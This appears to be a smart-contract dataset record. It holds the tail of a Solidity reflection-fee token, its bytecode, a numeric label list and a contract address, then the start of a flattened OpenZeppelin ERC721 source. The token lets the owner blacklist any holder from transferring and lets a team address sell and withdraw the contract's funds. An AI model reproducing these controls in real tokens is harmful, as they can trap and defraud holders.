_uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 35 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d4578063a9059cbb14610302578063c3c8cd8014610322578063d543dbeb14610337578063dd62ed3e1461035757600080fd5b80636fc3eaec1461026257806370a0823114610277578063715018a6146102975780638da5cb5b146102ac57600080fd5b806323b872dd116100dc57806323b872dd146101d1578063293230b8146101f1578063313ce567146102065780635932ead1146102225780636b9990531461024257600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b50610138610133366004611898565b61039d565b005b34801561014657600080fd5b5060408051808201909152600981526854756c697020496e7560b81b60208201525b60405161017591906119dc565b60405180910390f35b34801561018a57600080fd5b5061019e61019936600461186d565b61044a565b6040519015158152602001610175565b3480156101ba57600080fd5b506509184e72a0005b604051908152602001610175565b3480156101dd57600080fd5b5061019e6101ec36600461182d565b610461565b3480156101fd57600080fd5b506101386104ca565b34801561021257600080fd5b5060405160098152602001610175565b34801561022e57600080fd5b5061013861023d36600461195f565b610887565b34801561024e57600080fd5b5061013861025d3660046117bd565b6108cf565b34801561026e57600080fd5b5061013861091a565b34801561028357600080fd5b506101c36102923660046117bd565b610947565b3480156102a357600080fd5b50610138610969565b3480156102b857600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102e057600080fd5b50604080518082019091526005815264054554c49560dc1b6020820152610168565b34801561030e57600080fd5b5061019e61031d36600461186d565b6109dd565b34801561032e57600080fd5b506101386109ea565b34801561034357600080fd5b50610138610352366004611997565b610a20565b34801561036357600080fd5b506101c36103723660046117f5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d05760405162461bcd60e51b81526004016103c790611a2f565b60405180910390fd5b60005b8151811015610446576001600a600084848151811061040257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061043e81611b42565b9150506103d3565b5050565b6000610457338484610af0565b5060015b92915050565b600061046e848484610c14565b6104c084336104bb85604051806060016040528060288152602001611bad602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611026565b610af0565b5060019392505050565b6000546001600160a01b031633146104f45760405162461bcd60e51b81526004016103c790611a2f565b600f54600160a01b900460ff161561054e5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103c7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058830826509184e72a000610af0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c157600080fd5b505afa1580156105d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f991906117d9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064157600080fd5b505afa158015610655573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067991906117d9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c157600080fd5b505af11580156106d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f991906117d9565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072981610947565b60008061073e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a157600080fd5b505af11580156107b5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107da91906119af565b5050600f8054640826299e0060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561084f57600080fd5b505af1158015610863573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610446919061197b565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016103c790611a2f565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016103c790611a2f565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461093a57600080fd5b4761094481611060565b50565b6001600160a01b03811660009081526002602052604081205461045b906110e5565b6000546001600160a01b031633146109935760405162461bcd60e51b81526004016103c790611a2f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610457338484610c14565b600c546001600160a01b0316336001600160a01b031614610a0a57600080fd5b6000610a1530610947565b905061094481611169565b6000546001600160a01b03163314610a4a5760405162461bcd60e51b81526004016103c790611a2f565b60008111610a9a5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103c7565b610ab56064610aaf6509184e72a0008461130e565b9061138d565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c7565b6001600160a01b038216610bb35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c785760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c7565b6001600160a01b038216610cda5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c7565b60008111610d3c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c7565b6000546001600160a01b03848116911614801590610d6857506000546001600160a01b03838116911614155b15610fc957600f54600160b81b900460ff1615610e4f576001600160a01b0383163014801590610da157506001600160a01b0382163014155b8015610dbb5750600e546001600160a01b03848116911614155b8015610dd55750600e546001600160a01b03838116911614155b15610e4f57600e546001600160a01b0316336001600160a01b03161480610e0f5750600f546001600160a01b0316336001600160a01b0316145b610e4f5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103c7565b601054811115610e5e57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ea057506001600160a01b0382166000908152600a602052604090205460ff16155b610ea957600080fd5b600f546001600160a01b038481169116148015610ed45750600e546001600160a01b03838116911614155b8015610ef957506001600160a01b03821660009081526005602052604090205460ff16155b8015610f0e5750600f54600160b81b900460ff165b15610f5c576001600160a01b0382166000908152600b60205260409020544211610f3757600080fd5b610f42426019611ad4565b6001600160a01b0383166000908152600b60205260409020555b6000610f6730610947565b600f54909150600160a81b900460ff16158015610f925750600f546001600160a01b03858116911614155b8015610fa75750600f54600160b01b900460ff165b15610fc757610fb581611169565b478015610fc557610fc547611060565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061100b57506001600160a01b03831660009081526005602052604090205460ff165b15611014575060005b611020848484846113cf565b50505050565b6000818484111561104a5760405162461bcd60e51b81526004016103c791906119dc565b5060006110578486611b2b565b95945050505050565b600c546001600160a01b03166108fc61107a83600261138d565b6040518115909202916000818181858888f193505050501580156110a2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110bd83600261138d565b6040518115909202916000818181858888f19350505050158015610446573d6000803e3d6000fd5b600060065482111561114c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c7565b60006111566113fb565b9050611162838261138d565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111bf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121357600080fd5b505afa158015611227573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124b91906117d9565b8160018151811061126c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112929130911684610af0565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112cb908590600090869030904290600401611a64565b600060405180830381600087803b1580156112e557600080fd5b505af11580156112f9573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261131d5750600061045b565b60006113298385611b0c565b9050826113368583611aec565b146111625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c7565b600061116283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061141e565b806113dc576113dc61144c565b6113e784848461146f565b80611020576110206005600855600a600955565b6000806000611408611566565b9092509050611417828261138d565b9250505090565b6000818361143f5760405162461bcd60e51b81526004016103c791906119dc565b5060006110578486611aec565b60085415801561145c5750600954155b1561146357565b60006008819055600955565b600080600080600080611481876115a2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114b390876115ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114e29086611641565b6001600160a01b038916600090815260026020526040902055611504816116a0565b61150e84836116ea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155391815260200190565b60405180910390a3505050505050505050565b60065460009081906509184e72a00061157f828261138d565b821015611599575050600654926509184e72a00092509050565b90939092509050565b60008060008060008060008060006115bf8a60085460095461170e565b92509250925060006115cf6113fb565b905060008060006115e28e87878761175d565b919e509c509a509598509396509194505050505091939550919395565b600061116283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611026565b60008061164e8385611ad4565b9050838110156111625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c7565b60006116aa6113fb565b905060006116b8838361130e565b306000908152600260205260409020549091506116d59082611641565b30600090815260026020526040902055505050565b6006546116f790836115ff565b6006556007546117079082611641565b6007555050565b60008080806117226064610aaf898961130e565b905060006117356064610aaf8a8961130e565b9050600061174d826117478b866115ff565b906115ff565b9992985090965090945050505050565b600080808061176c888661130e565b9050600061177a888761130e565b90506000611788888861130e565b9050600061179a8261174786866115ff565b939b939a50919850919650505050505050565b80356117b881611b89565b919050565b6000602082840312156117ce578081fd5b813561116281611b89565b6000602082840312156117ea578081fd5b815161116281611b89565b60008060408385031215611807578081fd5b823561181281611b89565b9150602083013561182281611b89565b809150509250929050565b600080600060608486031215611841578081fd5b833561184c81611b89565b9250602084013561185c81611b89565b929592945050506040919091013590565b6000806040838503121561187f578182fd5b823561188a81611b89565b946020939093013593505050565b600060208083850312156118aa578182fd5b823567ffffffffffffffff808211156118c1578384fd5b818501915085601f8301126118d4578384fd5b8135818111156118e6576118e6611b73565b8060051b604051601f19603f8301168101818110858211171561190b5761190b611b73565b604052828152858101935084860182860187018a1015611929578788fd5b8795505b838610156119525761193e816117ad565b85526001959095019493860193860161192d565b5098975050505050505050565b600060208284031215611970578081fd5b813561116281611b9e565b60006020828403121561198c578081fd5b815161116281611b9e565b6000602082840312156119a8578081fd5b5035919050565b6000806000606084860312156119c3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a08578581018301518582016040015282016119ec565b81811115611a195783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ab35784516001600160a01b031683529383019391830191600101611a8e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ae757611ae7611b5d565b500190565b600082611b0757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b2657611b26611b5d565b500290565b600082821015611b3d57611b3d611b5d565b500390565b6000600019821415611b5657611b56611b5d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094457600080fd5b801515811461094457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220356643faa16b46b1ea141ae3dc1977b3b9de49b4d22c7f6ef5edf0facf5a056664736f6c63430008040033
[ 13, 5, 11 ]
0xf36446105ff682999a442b003f2224bcb3d82067
// Sources flattened with hardhat v2.6.0 https://hardhat.org // File @openzeppelin/contracts/utils/Context.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.3.1 pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.3.1 pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/utils/Address.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/Strings.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC721/ERC721.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // 